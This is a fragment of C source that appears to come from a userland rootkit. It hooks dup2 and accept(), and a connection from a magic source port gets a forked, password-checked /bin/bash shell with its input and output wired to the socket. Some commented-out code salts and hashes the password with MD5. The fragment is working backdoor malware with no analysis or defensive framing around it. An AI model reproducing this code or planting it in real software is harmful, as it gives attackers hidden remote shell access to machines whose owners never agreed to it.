int dup2(int oldfd, int newfd) {
if (intercept[oldfd]) {
return _intercept_dup2(oldfd, newfd);
}
RESOLVE(dup2)
return o_dup2(oldfd, newfd);
}
int my_accept(int sockfd, struct sockaddr *addr, int *addrlen)
{
int cli;
cli = (*o_accept)(sockfd,addr, addrlen);
if( (addr->sa_family == AF_INET) ){
struct sockaddr_in *cli_addr = (struct sockaddr_in *)addr;
if( (cli_addr->sin_port == htons(_MAGIC_PORT_)) ){
pid_t child;
if(cli<0)
return cli;
o_signal(SIGCHLD, SIG_IGN);
if((child=o_fork())==0){
//old none-crypted style
o_close(sockfd);
o_dup2(cli,0);
o_dup2(cli,1);
o_dup2(cli,2);
//close(0);
//fid = fcntl(cli, F_DUPFD, 0);
//enterpass(cli);
//char *motd="<< Welcome >>\n";
char buffer[64]={'\0'};
o_read(cli,buffer,sizeof(buffer));
/*
//Hash password
char trans[SALT_LENGTH+33] = {'\0'};
char tmp[3]={'\0'},buf[33]={'\0'},hash[33]={'\0'};
int i;
for(i=0;i<strlen(buffer);i++){
if(buffer[i]==0x00){
break;
}
}
if(i>2)
i--;
getMD5(buffer,i,buf);
strncpy(trans,_SALT_,SALT_LENGTH);
for(i=0;i<32;i++){
trans[SALT_LENGTH+i]=buf[i];
}
getMD5(trans,SALT_LENGTH+32,hash);
printf("%s",hash);
//End Hash Password
*/
//if(!strncmp(hash, _RPASSWORD_, strlen(_RPASSWORD_))) {
if(!strncmp(buffer, _ACK_PWD_, strlen(_ACK_PWD_))) {
//write(cli,motd,strlen(motd));
o_execve("/bin/bash", argv, envp);
//printf("disConnected.");
o_close(cli);
o_exit(0);
}else {
//write(s,"Wrong!\n", 7);
o_close(cli);
o_exit(0);
}
}
//o_waitpid(child);
return -1;
}
}
return cli;
}
